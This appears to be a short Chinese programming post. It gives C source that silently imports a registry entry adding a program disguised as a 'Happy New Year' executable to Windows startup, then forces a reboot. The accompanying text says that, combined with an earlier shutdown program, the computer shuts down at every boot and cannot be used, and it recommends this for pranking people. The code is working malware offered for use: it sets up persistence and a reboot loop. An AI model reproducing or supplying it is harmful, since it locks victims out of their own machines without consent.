|
#include<stdio.h>
#include<dos.h>
#include<process.h>
void main()
{
int flag;
FILE *fp;
fp=fopen("c:\\a.reg","wb");
fprintf(fp,"%s\n","REGEDIT4");
fprintf(fp,"%s","[HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows\\CurrentVersion\\Run]\n\"MyRegist\"=\"C:\\\\newfile\\\\console\\\\Debug\\\元旦快樂.exe\"");
fclose(fp);
flag=system("regedit /s c:\\a.reg");
system("shutdown -r -t 5");
}
這個(gè)可以和前面關(guān)機(jī)程序一起用,將關(guān)機(jī)程序用注冊(cè)表添加到開機(jī)啟動(dòng)項(xiàng),之后每次開機(jī)時(shí)就會(huì)運(yùn)行關(guān)機(jī)程序,這樣就無法開機(jī)了!建議不會(huì)修改注冊(cè)表的人 不要運(yùn)行該程序!這個(gè)可以用來整人哦! 如 上面寫的 元旦快樂就是個(gè)關(guān)機(jī)程序
|
|